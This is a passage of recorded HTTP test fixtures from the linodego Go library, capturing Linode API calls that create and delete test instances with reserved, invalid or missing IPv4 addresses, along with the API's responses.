16:44:22 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" TestInstance_CreateWithNonReservedAddress.yaml000066400000000000000000000026621474652371000356030ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-or7801td3le2","root_pass":"NJ361jSqj5#YLI;4I33S\u0026|C\\LlW74Bp!b9=g35b?[O0mU|7jnW''.ci*d)(0[9Pat","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["192.0.2.1"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Must provide a single valid reserved ipv4 address", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "94" Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:22 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" TestInstance_CreateWithNullIPAddress.yaml000066400000000000000000000101441474652371000345060ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-vym5299ve91d","root_pass":"!86lC/O''5Q3\u0026(H3vb0LD4@Tu0JaM''Wo0N4ja13yj~)?qUA/f@.x/0=aM60o=4mHB","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63830264, "label": "go-test-ins-reserved-ip-vym5299ve91d", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["45.56.104.17"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "c6618489f09422003470c02e7f12a3e0b5303ddb", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63830264 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_CreateWithOwnedNonAssignedReservedIP.yaml000066400000000000000000000165711474652371000372050ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.104.28.70", "gateway": "172.104.28.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-104-28-70.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:14 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-vsr6v8p5t918","root_pass":"SO#sQ!0],LgsF3BJ0B(5\u003e}By6q2+\u0026c1fi{C\u0026f4=c?x2R!@Eiz+4iT742G7eb9JC7","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["172.104.28.70"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63830249, "label": "go-test-ins-reserved-ip-vsr6v8p5t918", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.104.28.70"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "e2b2194e60c6054585feb7014b294d65664c16a9", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null, "capabilities": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:15 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63830249 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.104.28.70 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 12 Sep 2024 16:44:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_CreateWithReservedIPAddress.yaml000066400000000000000000000165551474652371000353670ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.104.20.68", "gateway": "172.104.20.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-104-20-68.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-x0or7k0186hu","root_pass":"?6I~^OU95=viKV8$wb,Q=`dUCjq8x''8l^z0m4KD~8c6F\u003e-6\u003eW60I6Cf6Ln2#Gca$","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["172.104.20.68"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63432426, "label": "go-test-ins-reserved-ip-x0or7k0186hu", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.104.20.68"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "d5c60a121fe8f306350b432af2263337c9e0495a", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "857" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/63432426 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips/172.104.20.68 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_CreateWithReservedIPAddressVariants.yaml000066400000000000000000000547301474652371000370740ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/reserved/ips method: POST response: body: '{"address": "172.104.20.77", "gateway": "172.104.20.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-104-20-77.ip.linodeusercontent.com", "linode_id": null, "region": "us-east", "vpc_nat_1_1": null, "reserved": true}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "262" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-776ugys2x84t","root_pass":"9Nf1L;\u003e6ajieNPt\\X+2gP+8~rB`uJ22c;\u003e03C9Na40J}-}:)lQlj1[Y7qs-59UFV","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["172.104.20.77"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63432429, "label": "go-test-ins-reserved-ip-776ugys2x84t", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.104.20.77"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "d5c60a121fe8f306350b432af2263337c9e0495a", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "857" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-k834ai1y8j2a","root_pass":"~um0O^Z`j5S=4tRxo(4pAn+;8eA4[2?zWOg5[8P3szYRfx;9X97|f4~8V:2QM=\u003eU","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["172.104.20.77"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Address must be currently unassigned.", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "82" Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:09 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-k13vw921yh5i","root_pass":"@g\\27J,2J$aX5xj$4v-\u003c3,Ny7nc5{WvY:''pDH7Vj1E45:9MjxP{=s14Kv$b-S5SD","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["192.0.2.1"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Must provide a single valid reserved ipv4 address", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "94" Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:09 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-k7zhi2807xk8","root_pass":"0BDN\\iia1C`\u0026O45tXS4[@7;0lF8)W+k[NRn6v3Y5ZtM/8e81xpwT[)i[f-\\-H1u4","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["198.51.100.1"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Must provide a single valid reserved ipv4 address", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "94" Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:09 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-n9ssc0141zh7","root_pass":":LD8t4cgg|164/p=L151I3\\WdMAkw]Vw3O5;+E)bAg,9\\b58Sc`u5`d)E\u003e3]GBZk","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":[""]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Must provide a single valid reserved ipv4 address", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "94" Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:22 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-e14gz6bc5p37","root_pass":"KjQ13TO2`g}huOSKKe3988}([j(o#[P]]e08tXUqd=?B3A87l12hOlU4I|\u003el9\u003eh/","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63432443, "label": "go-test-ins-reserved-ip-e14gz6bc5p37", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["97.107.138.251"], "ipv6": "1234::5678/128", "image": "linode/alpine3.17", "region": "us-east", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "9c7219f8e3e33875047e6b169b3f167a43218198", "has_user_data": false, "placement_group": null, "disk_encryption": "disabled", "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "858" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-3bly0ps6071m","root_pass":"H`X!T5x{D.4(J3k05dY,1IG=T/6e87DoN\\6DF@Bp8?4/.Nscw=qxn{4W4cluv91''","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false,"ipv4":["172.104.20.77","192.0.2.2"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"errors": [{"reason": "Must provide a single valid reserved ipv4 address", "field": "ipv4"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "94" Content-Type: - application/json Expires: - Tue, 03 Sep 2024 19:13:38 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - linodes:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" status: 400 Bad Request code: 400 duration: "" - request: body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-reserved-ip-bw5b43pih670","root_pass":"wqx^Q)\u003ca\u0026))H`MV4n+ZT6geC53w3jV(n{F6JzG9G5h01jw97;/FxFi6HR?=:\\640","image":"linode/alpine3.17","interfaces":[{"purpose":"public"}],"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 63432444, "label": "go-test-ins-reserved-ip-bw5b43pih670", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": 